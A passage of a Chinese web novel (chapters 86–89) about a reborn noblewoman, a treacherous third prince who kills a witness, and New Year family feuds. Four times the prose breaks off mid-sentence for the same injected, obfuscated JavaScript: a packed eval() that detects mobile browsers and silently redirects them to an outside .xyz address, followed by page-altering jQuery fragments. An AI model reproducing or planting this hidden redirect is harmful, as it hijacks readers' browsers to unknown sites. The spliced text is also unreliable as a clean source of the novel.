萧修湛冷笑一声,满是不屑:“不过是个手无缚鸡之力的羸弱书生,能成何气候?难道还能随本皇子深入匪巢,窥探机要不成?” “殿下英明!”随从连忙附和道,“待时机成熟,属下自会寻个由头将他支开,免得这小子碍手碍脚,坏了殿下的大计!” 萧修湛眼底掠过一丝寒芒,宛如冬日冰霜。 —— 听闻西行大军启程的消息,姜姝宁当晚便兴致高昂,特意吩咐人在后院的八角亭中燃起炉火,让整个翠竹院的人一同烤羊肉,饮果酒。 亭中,婢女嬷嬷们围炉而坐,推杯换盏,欢声笑语,好不热闹。 凌芜见姜姝宁已接连饮下数杯果酒,双颊染上酡红之色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620107|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,忍不住问道:“大小姐今日似乎心情极佳,莫非是有什么喜事不成?” “当然!”姜姝宁笑靥如花,语气中带着一丝压抑不住的兴奋,“那该死之人,终于要迎来他的末日了!这世上再也不会有萧修——” 凌芜与夏蝉闻言,顿时花容失色,连忙上前捂住她的嘴:“大小姐定是喝多了,开始胡言乱语了!这些话可万万不能乱说啊!” “大姐姐,何事如此开怀?”一道清朗悦耳的少年嗓音传来。 众人循声望去,只见姜天泽面带微笑,缓步走入亭中。 “三少爷!”凌芜与夏蝉连忙恭敬地向他行礼。 姜姝宁醉眼迷离,语气娇软:“三弟来了?快过来,大姐姐我今日高兴,请你吃烤羊肉,喝美酒!” 凌芜生怕她酒后失言,口无遮拦,连忙对姜天泽道:“三少爷,大小姐醉得厉害,奴婢还是先扶她回房歇息吧,免得着凉。” 姜天泽从未见过姜姝宁这般醉态,只觉她双颊绯红,神色娇憨,心中不由泛起一丝异样的悸动。 “无妨,有我在,我会好好照顾大姐姐的。” 说着,他便上前一步,小心翼翼地扶住姜姝宁,让她重新坐回石凳上。 她身上散发着淡淡的酒香,若有似无,姜天泽只觉自己要被醉倒了。 姜姝宁冲着凌芜一笑:“不必担心,不过是些果酒罢了,我多吃些烤羊肉,这酒气啊,很快便会消散的!” 凌芜仍不放心地叮嘱道:“大小姐,您可千万要谨言慎行,方才那些话,断不可再轻易出口了!若是传到有心人耳中,恐会惹来祸端!” 姜姝宁乖巧地点了点头:“我知道了!快坐下一起吃吧!” 姜天泽目光灼灼地凝视着她,贪婪地欣赏着她微醺时娇艳动人的模样,按捺不住心中的悸动,悄悄凑到她耳畔,低声问道:“大姐姐,究竟是何事,能让你如此开怀?” 姜姝宁也学着他的模样,微微侧过身,在他耳边轻声道:“我最讨厌的人,今日终于离京了!我猜啊,他这辈子都没法回来了!” 少女温热的气息如兰似麝,带着淡淡的酒香,轻轻喷洒在姜天泽的耳畔,如羽毛般撩拨着他的心,让他心潮澎湃,难以自持。 “真是巧,我最憎恨之人,也是今日离开京城。不过,我不知道他是否还能回来。”姜天泽的声音低沉,带着一丝不易察觉的阴狠,“不过也没关系,若是他当真有命活着回来,我也会亲手送他下地府!” 顾亦庭,你最好死在西榆,尚且还有点尊严和名声。 否则,等待你的,将是我母亲精心研制的新毒,让你死得毫无尊严! 第86章 牡丹烟花 第八十六章牡丹烟花 姜姝宁听到这话,忍不住笑出声来。 她眉眼间醉意更浓,明艳不可方物。 “三弟说的对,若他不死,我便亲手送他下地府!” 两**笑起来,凌芜在一旁看得眼角微抽,心惊肉跳。 以后万万不能让大小姐喝酒了,她醉了竟是这般口无遮拦,什么话都敢往外说,真要命! 东市新酿的果酒,看似清甜,实则后劲十足。 不多时,院中的婢女嬷嬷们便都醉意朦胧,脚步虚浮,东倒西歪。 凌芜见状,不由分说地将姜姝宁扶了起来:“大小姐,您醉了,奴婢扶您回房休息吧,仔细着凉!” 姜姝宁醉得厉害,将头靠在她肩上,抬头看着墨黑色的天幕,忽然吃吃一笑:“王爷,这天幕太黑太寂寥了,若是能长满娇艳的牡丹,该有多好啊?” 凌芜只当是醉后呓语,并未放在心上,小心翼翼地扶着她回房。 一旁的姜天泽却面色骤沉,心中醋意翻涌。 王爷?哪个王爷? 当今圣上是踩着手足的鲜血与骸骨登上皇位的。 当年,唯有年幼的雍王侥幸逃过一劫,却也被流放至千里之外的苦寒之地,终生不得回京。 姜姝宁自小便养在深闺,只怕连雍王的面都不曾见过。 所以,她口中的那个王爷,究竟是谁? 竟能让她在醉意阑珊之时,说出如此娇憨的话来? 姜姝宁这一醉,竟直接睡到第二日午膳时分。 她醒来时只觉得头疼欲裂,好在凌芜早就准备好了醒酒汤,连忙端来给她服下,这才稍稍缓解了不适。 “这东市的果酒后劲竟如此大?我也就喝了几杯,没想到竟醉成这样!”姜姝宁揉着隐隐作痛的太阳穴,略带懊恼地说道。 凌芜道:“可不是嘛,这院子里半数的婢子嬷嬷都醉倒了,今日集体起晚!” “年关将至,院中也没什么要紧事,便让她们好好休息吧。”姜姝宁有些担忧地问,“我酒后没做什么出格的事吧?” 凌芜嗔怪道:“自然是有的!大小姐一直嚷嚷着要送人下地府,若不是奴婢和夏蝉拦着,怕是要将三皇子的名讳都喊出来!” 姜姝宁一听,顿时懊恼不已。 “这院里剩的果酒快些丢掉,往后我是一口都不喝了!” 这酒不仅后劲大,还害她昨夜做了一夜旖旎的梦,梦里都是前世和萧凌川缠绵悱恻的场景。 醒来浑身酸软,竟有前世鱼水之欢后的倦怠。 都是这讨厌的果酒惹的祸! “是!奴婢定会帮你把这些果酒处理掉!” 凌芜心想,果酒扔掉多可惜啊。 大小姐喝不了后劲大的果酒,有人喝得了。 凌风,便宜你了! 姜姝宁梳洗完毕后准备用膳,还没动筷,姜天泽来了。 “天泽,用过午膳了吗?” 姜天泽目光落在她脸上,想起昨夜她那娇憨明艳的模样,违心道:“未曾。” “那便坐下来一起吃吧!”姜姝宁并未察觉到他的异样,热情地招呼道。 她注意到姜天泽眼下隐隐泛着一圈淡淡的乌青,误以为他也被那果酒的后劲所折磨,心中不禁涌起一丝歉意。 “三弟昨夜莫非也醉宿了?都怪我考虑不周,还以为这东市的果酒与府里的果酒一般,可以随意畅饮。却不曾想,竟害得你们都醉成了这般模样。” “大姐姐不必自责,无妨的。”姜天泽勉强挤出一个笑容,试图掩饰自己内心的真实情绪。 他昨夜辗转反侧,难以入眠,满脑子都是她口中那声意味不明的“王爷”,如同一根刺般深深扎在他的心头,让他寝食难安。 “凌芜方才给我喝了一碗醒酒汤,后厨应该还有,我现在就让她端来给你喝。” “不必麻烦了,大姐姐。”姜天泽看着她,还是没忍住开口问,“大姐姐昨夜说醉话,提到了‘王爷’二字。天泽好奇,不知大姐姐口中的那位‘王爷’,究竟是何人?” 听到这话,姜姝宁顿时面红耳赤。 她以为昨夜醉酒梦见萧凌川已经很荒谬了,没想到自己竟还糊里糊涂地叫出了“王爷”二字! 对上姜天泽那双探究的眼眸,她愈发觉得无地自容。 “醉话罢了……随口乱讲的,三弟不必当真。”姜姝宁夹了一口菜放进他碗里,“三弟你先吃,我吃饱了,先回屋了!” 说完,她便狼狈起身,落荒而逃。 姜天泽看着她离去的背影,眸色晦暗不明。 姜姝宁回到屋里,拉着凌芜,紧张地问:“昨夜我醉酒之后,除了说要杀了萧修湛,还说了什么?是不是提到‘王爷’二字?” 凌芜想了片刻,点了点头:“是提到了。大小姐说,‘天幕太寂寥,若是能长满牡丹就好了!’奴婢也不明白您说的是什么意思?” 姜姝宁扶额,她真的说出来了! “凌芜,答应我,这句话,你必须立马忘记,就当从未听过,明白吗?” 凌芜见她如此慎重又紧张,连忙点头:“是,大小姐!” 深夜,凌风来相府屋顶和她会面。 凌芜特地带来几壶果酒:“这些果酒后劲太大,大小姐喝了说醉话,让我处理掉,便宜你了!” 凌风接过酒壶,笑着道:“今日三皇子奉旨西行,前往西榆剿匪,想必姜姑娘很高兴吧?” “何止高兴?昨夜她还喝了不少果酒,差点当着满院人的面说出她希望三皇子死于匪巢。还说了胡话,叫了声‘王爷’。今日紧张不已,嘱咐我定要把这事给忘了。” “王爷?哪个王爷?”凌风下意识追问道。 他最近受四皇子的影响,对跟姜姑娘有关的男子都格外敏感。 “我也不知道。只听大小姐说,‘天幕太寂寥, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620108|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 若是能长满牡丹就好了’。” 凌风听得一头雾水:“这话确实令人费解。” “不费解,我知道她想要什么。” 景和宫内,烛光摇曳,晕染出一室暖意,也让萧凌川原本棱角分明的侧脸,平添了几分柔和之色。 他唇角噙起一丝温润的笑,“凡她所愿,我皆竭力满足。” 凌风更加困惑。 一句没头没脑的话,竟能让四皇子殿下露出如此罕见的神情。 这世上能轻易牵动殿下情绪之人,恐怕也只有这位姜姑娘了吧? 除夕之夜,相府上下张灯结彩,热闹非凡。 姜姝宁来到正堂,与父亲母亲,以及姜瑶真和三房一家人,一同享用年夜饭。 或许是因为三皇子萧修湛远赴西榆剿匪的缘故,姜瑶真自觉失去了靠山,今夜的她格外安静,一反常态地收敛了往日的嚣张跋扈,没有在言语上对姜姝宁进行挑衅。 姜姝宁难得地度过了一个还算愉快的除夕之夜。 唯一令她感到遗憾的,便是大哥姜天恩已然故去,再也无法与他们一同围坐在桌旁,共享这阖家团圆的温馨时刻了。 用完团圆饭,她回到自己院子里,坐在亭子里仰望天空。 天幕一如前世,澈黑寂寥。 不远处忽然传来一声震耳欲聋的巨响,紧接着,一道道绚丽的光芒划破夜空,在天幕之上竞相绽放出无数朵璀璨夺目的烟花。 相府中的人们纷纷被这突如其来的景象所吸引,纷纷**在院中,惊喜地仰望着天空,兴奋地欢呼雀跃:“是牡丹!是牡丹啊!” 姜姝宁定睛细看,只见那在夜空中绽放的烟花,果然都是各种品种、各种花色的牡丹,千姿百态,争奇斗艳,令人看得眼花缭乱,目不暇接。 她浑身颤抖,难以置信。 前世婚后,曾有一晚,她因心中郁结难解,独自一人偷偷溜到后厨,借酒浇愁。 他寻着踪迹而来,见到她独自饮酒,问她:“为何喝那么多酒?” 他简直明知故问,若非他和自己的庶妹姜瑶真纠缠不清,她又怎会如此痛苦? 她抬头看向天幕,苦涩一笑:“王爷,这天幕太黑太寂寥了,若是能长满娇艳的牡丹,该有多好啊?” 其实她想告诉他,自己就如这天幕一般寂寞。 而想要得到他的爱,就如同让天幕长满牡丹那般永无可能。 “这有何难?”他只淡淡说了这句话,上前将她打横抱起,回了寝殿。 情潮沉浮之时,她泪如泉涌。 在他心中,她不过是个满足他情欲的工具罢了。 几个月后,他命人在景王府的上空放了一夜的烟花,那些烟花朵朵都是牡丹的模样。 在漫天飞舞的牡丹烟花之下,他那原本俊美疏离的面容上,罕见地浮现出一丝得意之色。 “这般,也算是在天幕上长满牡丹了吧。” 第87章 良禽择木 第八十七章良禽择木 “牡丹乃国花,象征着富贵与吉祥。这烟花想必是陛下以示对天下黎民来年富足安康的美好祝愿啊!” 不知是谁高声喊了这么一句,瞬间将姜姝宁从那段尘封已久的回忆中拉回到了现实。 不过是当今圣上为与民同乐,特意在除夕之夜下令燃放的烟花罢了,又怎会是萧凌川专为她而放的呢? 姜姝宁仰望天幕上那璀璨的牡丹烟火,心中泛起一抹自嘲的苦涩。 她竟会生出如此荒唐的错觉,未免太过自作多情了。 城楼之上,皇帝看着天幕之上那一片绚烂夺目的烟花,脸上浮起满意的神色。 他转过头,看向身侧的萧凌川,语气中带着毫不掩饰的赞赏:“川儿,朕没想到你竟有如此本事,能在这么短的时间内,找到能工巧匠制作出如此精妙绝伦的烟花,真是让朕大开眼界啊!” 萧凌川微微躬身:“父皇过奖了,儿臣只是略尽绵薄之力罢了。能让父皇高兴,是儿臣的荣幸!” 皇帝再次将目光投向那片被烟花点亮的夜空,语气中带着一丝惋惜:“只可惜啊,老三如今正在西行剿匪的路上,无缘得见京城这番盛景!” 萧凌川深邃的桃花眸中掠过一丝阴郁,随即又迅速恢复如常。 “想必三哥很快就能为父皇平定匪乱,凯旋而归!” 皇帝眼底晦暗不明,意味深长地说道:“朕的这些皇子们,个个都是文韬武略,才能过人!将来这大邺的江山,交给你们治理,定会更加繁荣昌盛!” 萧凌川听出了他话中的弦外之音,自嘲道:“还是三哥有本事,能西行剿匪,为父皇分忧解难,不像儿臣,只会弄些烟花炮仗,博父皇一笑!” 皇帝顿时朗声大笑:“老四何须如此妄自菲薄?在朕的心中,你半分都不比老三差!” “多谢父皇!”萧凌川再次躬身行礼,缓缓退下,嘴角勾起一抹讳莫如深的笑。 他离开后,皇帝脸上的笑容瞬间褪去,取而代之的是一片阴沉。 他问身旁的大总管陈顺:“朕让你查的事情,查得怎么样了?老三和苏美人,从前是否相识?” 陈顺连忙躬身回答道:“回禀陛下,奴才已经查清楚了。那个苏美人当初在春香楼时,是三皇子殿下将她一手捧红的。而且,三皇子殿下还暗中入股了春香楼的生意,那些被他捧红的头牌们所赚的银子,他都能从中分红……” “好啊!朕的这个儿子,真是好大的本事!”皇帝脸上浮现出一丝阴冷的笑,“在外面花天酒地、以权谋私,这些朕都可以睁一只眼闭一只眼,没想到他的野心竟如此大,手都伸到朕的后宫里来了!若朕放任他继续胡作非为,他们王家还会把朕这个皇帝放在眼里吗?” “陛下所言极是!”陈顺小心翼翼地观察着皇帝的脸色,试探性地问道,“那……那个苏美人,是否需要奴才出面处置了?” “不必了!”皇帝笑容里带着掌控一切的自信,“说到底,她不过是一个为生计所迫的可怜女子罢了,恰好被老三当作了一枚棋子,朕又何必迁怒于她?相信她很快便会明白良禽择木而栖这个道理,知道该将忠诚献于何人。” “陛下英明!” 此时,西行的军队正在荒凉的官道上扎营,凛冽的寒风呼啸而过,卷起阵阵尘土。 顾亦庭独自一人蜷缩在简陋的军帐里瑟瑟发抖。 往年的除夕之夜,他都是在燃着银骨炭的房中度过,家人围坐在一起,品尝着美味佳肴,把酒言欢,何等惬意。 可如今,他却要在这荒无人烟的野外,忍受着风餐露宿的折磨,心中不禁悲从中来。 正当他自怨自艾时,几个士兵突然掀开帐帘,见他独自躲在角落里啃着干硬的糕点,脸上露出嘲讽之色。 “呦,这不是顾公子吗?怎么一个人躲在这里?不出来跟我们一起吃肉喝酒,热闹热闹?” 顾亦庭闻言,脸上掠过一丝厌恶之色。 他自诩是饱读诗书的文人雅士,向来瞧不起这些粗俗不堪的武夫,自然不屑与他们为伍。 再加上此次西榆之行异常艰苦,他本就不像那些习武之人那样身强体健,即使躲在颠簸的马车里,也难以抵挡这酷寒的侵袭,整个人都显得病恹恹的。 士兵们见他一路上几乎都在歇息,便认定他是来镀金、白白捞取剿匪功劳的,对他十分鄙夷,只要有机会,便会冷嘲热讽他一番。 “你们吃好喝好便可,不必管我!”顾亦庭语气冷淡地拒绝。 士兵们并不打算轻易放过他,他们仗着自己人多势众,力气又大,不由分说地将顾亦庭从军帐里粗暴地拽了出来。 “今儿可是除夕夜,普天同庆的日子!就连尊贵的三皇子殿下都纡尊降贵,与我们一同烤肉饮酒,顾公子你又何必摆出这副高高在上的架子呢?” “你们……你们想干什么?快放开我!” 顾亦庭气得拼命挣扎,可他哪里是这些如狼似虎的士兵的对手,最终还是被他们强行拖拽到篝火旁。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620109|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “顾公子,来,喝酒!”一个士兵皮笑肉不笑地端起一碗酒,凑到顾亦庭面前。 顾亦庭还未来得及伸手去接,那士兵便手一抖,将那碗酒尽数泼洒在他的脸上。 冰冷的酒液顺着脸颊滑落,刺骨的寒风迎面吹来,冻得他忍不住打了个喷嚏,狼狈不堪的模样引得周围的士兵们一阵哄堂大笑。 “哎呀,顾公子,真是对不住啊!您可要小心着凉才是,来,吃点热乎的暖暖身子吧!” 另一个士兵阴阳怪气地说道,随即拿起一根烤得油光锃亮的鸡腿,不由分说地往他的嘴里塞去。 顾亦庭的嘴唇瞬间被滚烫的鸡腿烫伤,疼得哇哇大叫。 不远处的军帐之中,随从压低声音,对高坐其上的萧修湛道:“殿下请放心,这几日那顾亦庭早已被我们的人吓得如同惊弓之鸟一般,想必到时候定然不敢随我们一同深入匪巢的!” 萧修湛闻言,满意地点了点头:“如此甚好。等回京之后,便禀明父皇,就说顾亦庭贪生怕死,不敢进入匪巢,想必父皇也无话可说!” 话音未落,外面突然传来一阵异常的喧闹声。 萧修湛面露不悦之色,沉声问:“何事喧哗?” 一名士兵慌慌张张地跑了进来,禀报道:“启禀殿下,那顾公子突然跑了!不知他究竟躲藏在何处!” 萧修湛脸色骤然一沉:“还不快去找?!” “是!属下这就去!”那士兵吓得浑身颤抖,连滚带爬地退了下去。 萧修湛和身边的随从交换了一个眼神,随即也起身走出军帐,加入到寻找顾亦庭的队伍之中。 他们不知道,自己前脚刚踏出军帐,顾亦庭后脚便如同一只受惊的兔子,战战兢兢地偷偷溜进了萧修湛的军帐之中。 他嘴唇被烫伤,身上也被泼满了酒水,又冷又疼。 他实在是不想再被那群如狼似虎的士兵抓回去戏弄了,只能来求三皇子为他做主。 进入军帐之后,他发现三皇子萧修湛不在,正准备离开,突然听到“嗖”的一声,只见一只矫健的雄鹰从帐门疾掠而入,丢下一张纸条,随即原路而返,消失得无影无踪。 顾亦庭下意识捡起那张落地的纸条,缓缓展开。 当他看清纸条上的文字时,脸色瞬间变得煞白,浑身如坠冰窟! 那纸条上的文字,竟然是西洲国的文字! 三皇子萧修湛竟然与西洲国的人有书信往来! 这……这不是通敌吗?! 第88章 新年添堵 第八十八章新年添堵 帐外的萧修湛与随从,恰好也看到那只从夜空掠过的雄鹰,两人心头一凛,连忙疾步返回军帐。 军帐内,那张来自西洲国的纸条正悄无声息地躺在地面上,帐内空无一人,仿佛什么都没有发生过。 随从四下张望了一番,长舒一口气:“殿下请放心,看来并没有人发现!” 萧修湛却并未放松警惕,他小心翼翼地捡起那张掉落在地的纸条,忽然发现纸上沾染到一抹猩红,脸色瞬间变得阴沉无比。 这张纸条被人碰过! 萧修湛眼中杀机顿现,他缓缓抽出腰间的利剑,在军帐内四处搜寻。 终于,在一张矮桌底下,他发现了瑟瑟发抖、面色苍白的顾亦庭。 顾亦庭被烫伤的嘴唇还在渗着血,对上萧修湛那双冷若冰霜的眼眸,他顿时吓得魂飞魄散,连忙跪倒在地,拼命地磕头求饶:“殿下饶命!殿下饶命啊!我对天发誓,今夜所见之事,我绝对不会向任何人透露半个字!求殿下开恩,饶了我吧!” 萧修湛闻言,嘴角缓缓勾起一抹阴冷的笑容,那笑容如同来自地狱的寒风,令人不寒而栗。 “顾公子,你与太子殿下可是表兄弟,本皇子信谁也不会信你!更何况,只有**的嘴,才是最严的!” 话音未落,他手中的利剑已毫不留情地刺进顾亦庭的胸膛里。 顾亦庭口中猛地喷出一口鲜血,还来不及开口说话,便直挺挺地栽倒在地,脸上还凝固着临死前那惊恐万分的表情。 萧修湛神色冰冷地看着地上的尸体,吩咐随从:“找些积雪将他裹起来,带着一起上路。等到了匪巢,便将他扔在那里,对外宣称他是被匪徒杀死的!” 他脸上露出一抹狰狞的笑容,“剿匪嘛,死个人,再正常不过了。” “是,殿下!属下明白!”随从领命。 此时,远在千里之外京城的顾御史正准备就寝。 一阵突如其来的、难以言喻的剧痛从胸口处传来,令他瞬间面色苍白,呼吸急促。 这猝不及防的痛楚,仿佛冥冥之中的某种警示,让他顿感惶恐不安。 他隐约觉得,有什么可怕的事情发生了。 —— 新年伊始,姜姝宁一早便穿上崭新的锦缎衣裳,满心喜悦地准备前往父母的院落,向他们拜年问安。 不料,刚踏入院中,一道身影如扑面而来。 那人满脸狰狞,不由分说便扬起手,朝她劈头盖脸地撒下一把白色的纸张。 姜姝宁定睛一看,竟是冥币! 此时,姜丞相与姜夫人自内院走出,恰好撞见这一幕,顿时惊得失声尖叫:“弟妹,你这是做什么?!” 凌芜连忙挡在姜姝宁身前,怒视着那撒冥币的姜二夫人:“大过年的,姜二夫人怎能对我们大小姐做出如此晦气之事?莫非是失心疯了不成?!” 姜二夫人仰天哈哈大笑,神色癫狂:“我的天赐死得那样惨,这个**怎还有脸过年?天赐是你害死的,你怎么不去地府陪他?!” 姜姝宁冷声道:“二婶,我要说多少遍你才肯信?二哥的死与我无关!我从未想过要害他性命!” “不是你亲手所为,他也是因你而死!”姜二夫人目眦欲裂,不依不饶,“若不是你平日里总看天赐不顺眼,那四皇子怎会为了讨好你,雇**害我的孩儿?!” 姜姝宁冷笑一声,目光如刀般直刺对方:“既然二婶认定是四皇子雇人杀了二哥,那为何不去当面责问他?或者直接上奏陛下,求陛下为您主持公道?二婶可是不敢,还是根本拿不出证据?亦或是两者皆是?除了对我空口无凭地泼脏水,二婶还能有何本事?” “你……” 这时,姜姝宁的二叔姜二爷姗姗来迟,装模作样地扶住姜二夫人:“夫人,我知天赐离世,你心中悲痛难当。可你怎能偷偷藏着冥币,撒向姝宁呢?这等晦气之事,实在不该啊!我们今日是来给大哥大嫂拜年的,你如此行事,叫我往后还如何有脸踏入相府?” 姜姝宁冷眼旁观,瞧着二叔这副虚情假意的嘴脸,心中一阵膈应。 她冷笑出声,语气如冰,字字诛心:“二叔不是早已将祖父留给父亲的那一半家产分走了吗?怎的,当初信誓旦旦地承诺,只要分得家产,便不再追究二哥之死,如今钱财到手,就将当初承诺抛诸脑后了?见过出尔反尔的,从未见过二叔这般厚颜无耻,简直令人叹为观止!” “你……”姜二爷被她这番话刺得面红耳赤,手指颤抖,气得几乎说不出话来,“你害死我家天赐,竟还敢如此羞辱于我!当真是反了天了!” “我何止羞辱你,我还要将你赶出相府!”姜姝宁毫不留情地冷声下令,“来人,将姜二爷和姜二夫人轰出去!从今往后,不许他们再踏进相府半步!” “是,大小姐!”护院们齐声应诺,动作利落地围上前来,不顾姜二爷和姜二夫人的咆哮挣扎,强硬地将他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620110|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 驱逐出门。 一场荒唐闹剧这才收场。 姜夫人上前,心疼拉住姜姝宁的手:“我的宁儿受委屈了。” 姜丞相也一脸歉意:“是父亲思虑不周,你二叔说要来拜年,我本不应该让他们进府的。可一想到他们与我们一样,新年佳节却没了儿子在身边陪伴,一时心软,便允了他们。谁知你二婶竟会带着冥币这等晦气之物前来……” “父亲不用自责,女儿不在意。”姜姝宁神色已经恢复了平静,“二叔二婶不是什么良善之辈,父亲母亲往后还是尽量避免与他们来往为妙。否则,今日这般的闹剧,恐怕还会接连上演。” 姜丞相和姜夫人深以为然:“往后都听宁儿的。” 姜姝宁领了红包,回到翠竹院。 凌芜道:“大小姐,这冥币实在太晦气了,要不你把衣衫换下来,奴婢给您煮一锅柚子水,让您洗一洗,去去晦气如何?” “不必了,冥币而已,并不会对我造成什么实质性伤害。” 凌芜不由感慨道:“若是换作别的姑娘,在大年初一被人当头撒了冥币,只怕早就哭得梨花带雨了。咱们大小姐当真是与寻常闺阁女子大不相同,心性坚韧,令人敬佩!” 姜姝宁笑笑:“他们无非是想让我生气难过,我何必遂了他们的愿?由他们闹去吧,以后他们自会明白,这等低劣的手段,对我而言根本不痛不痒,毫无作用。” 她心想,如今这样一闹也好,索性彻底断绝了与二房的往来。 否则,以父亲母亲那温善的性子,怕是总要被二房夫妇利用了去。 她又忍不住想,前世自己死后,棺木上应该堆着厚厚的冥币吧? 她有些后悔为了报复萧凌川,没在临死前告诉他自己是被毒死的真相。 若前世父母以为她是服毒**,该有多伤心难过。 好在今生她已决定与萧凌川划清界限,不再担心被有心之人算计毒害。 —— 姜二爷和姜二夫人被赶出相府后,两人径直来到了来福酒楼。 姜瑶真早已端坐在茶桌旁,慢条斯理地品茗。 她的身边,还坐着姜二爷的女儿姜莲。 姜二夫人一脸谄媚地凑上前,语气殷勤道:“瑶真,二婶已经按照你吩咐的,特意跑到相府去,给姜姝宁那小**添堵了。你看,你现在是不是能帮帮二婶了?” 姜瑶真放下手中的茶盏,嘴角微勾:“二婶有话,但说无妨。” 第89章 美色当前 第八十九章美色当前 “瑶真,你看,如今你二哥不在了,二婶就剩莲儿这一个女儿了。”姜二夫人拉过姜莲,语气哀戚,“若你能帮她觅得良婿,二叔二婶定当重谢!” 姜瑶真轻笑,话里带着试探:“良婿?二婶莫不是想让莲儿妹妹攀龙附凤,给三皇子做侧妃?” 姜二夫人闻言,忙不迭地摆手,神色惶恐:“瑶真可别打趣我了,莲儿哪有这等福分?再说了,你若成了三皇子妃,殿下还不得日日围着你转,哪还有心思纳旁人?” 此话一出,姜瑶真脸上才浮现真心笑意。 “二婶可别小瞧莲儿妹妹,她如今……” 她的目光落在姜莲身上,心中暗惊。 数月不见,姜莲又张开了些,眉眼间竟与姜姝宁有了几分相似。 只是少了姜姝宁的大气明艳,多了几分小家碧玉的柔弱,更显楚楚动人。 若是精心打扮一番,说不定真能把某人迷住。 想到这,姜瑶真的声音顿时柔和了些:“二婶放心,莲儿是我的堂妹,我自会为她寻个好归宿。这样吧,你们先回去,我将她打扮一番,稍后带她去见一位贵人,如何?” 姜二夫人激动得连连点头:“那真是太好了,瑶真!你果然是我们姜家最有出息的姑娘!莲儿的终身大事,可就托付给你了!” “包在我身上。” 姜瑶真送走二房夫妇,再次将目光投向姜莲,眼底闪过一丝算计。 “莲儿,过来,我给你好好打扮一番!” 她仔细给姜莲上了妆,还给她换了套浅青色的长裙。 姜莲在铜镜前左看右看,有些诧异道:“二姐姐,莲儿这副打扮,是不是太像大姐姐了?” “这妆容与衣衫,本就是照着她的模样来搭配的,自然像她。怎么,你不喜欢?”姜瑶真挑了挑眉。 “倒也不是。”姜莲谄媚道,“只是大姐姐再美,也终究不及二姐姐您貌若天仙。莲儿以为,妆容打扮还是与二姐姐相似才好。” 这恭维的话让姜瑶真很是受用,她笑道:“你这小嘴甜的!放心,我这般打扮你,自是有我的打算。待会那位贵人来了,你只需按照我的指示行事便可……” 她说着,从袖子里掏出一条帕子,塞进姜莲的袖口里。 不多时,萧凌川就收到凌风带来的消息,说姜瑶真在来福酒楼雅间等他,声称有要事相商。 凌风冷哼一声:“这姜二姑娘谱还真大,大年初一,阖家团圆的日子,竟也敢将殿下您约出去!她以为她是谁?” 萧凌川神色微沉:“看来,她是笃定我会去见她。” “殿下,不必理会她!她不过是殿下您用来拿捏南月细作的一枚棋子罢了,竟也敢在如此重要的日子约见殿下,实在是……” 凌风的话还未说完,萧凌川已起身,神色清冷如霜:“既然如此,那便去会她一会吧,看看她究竟有什么非见我不可的理由!” 凌风无奈,只得紧随其后:“是,殿下!” 来福酒楼的雅间里,檀香袅袅。 萧凌川一袭锦衣,扮作寻常贵公子,却难掩身上与生俱来的矜贵气质。 他步入雅间,所有的华光都在他脸上,四周仿佛瞬间失去了颜色。 姜瑶真见状,连忙上前盈盈一拜:“臣女见过殿下!” 姜莲从未见过如此俊美出色的男子,一时间双颊绯红,心如鹿撞。 她慌忙学着姜瑶真的模样,盈盈下拜。 萧凌川在主位落座,还未开口,他身旁的凌风便已忍不住出声斥责:“姜二姑娘,有事便快说,若是耽误殿下参加今日的朝会,定不轻饶你!” 姜瑶真闻言,心中冷笑:四皇子,你今日既然来了这里,就别想再参加什么朝会了! 温柔乡的滋味,岂是那枯燥乏味的朝会能比的? 脸上却堆满了讨好的笑容:“臣女今日请殿下前来,自然是有要事相求。只是此事事关重大,不宜外传,还请这位侍卫大人先行回避。” 凌风本想拒绝,却被萧凌川一个眼神制止。 他只得不甘心地走出雅间,顺手将房门关上。 待凌风离开后,姜瑶真立刻将身旁的姜莲拉到萧凌川面前,殷勤道:“莲儿,快来见过殿下!” 姜莲并不知道眼前这位俊美不凡的男子便是当今四皇子,只当是二姐姐口中的贵人,便顺从地福了福身子:“民女姜莲见过殿下!” 萧凌川刚进门时,便已经注意到了姜莲的存在。 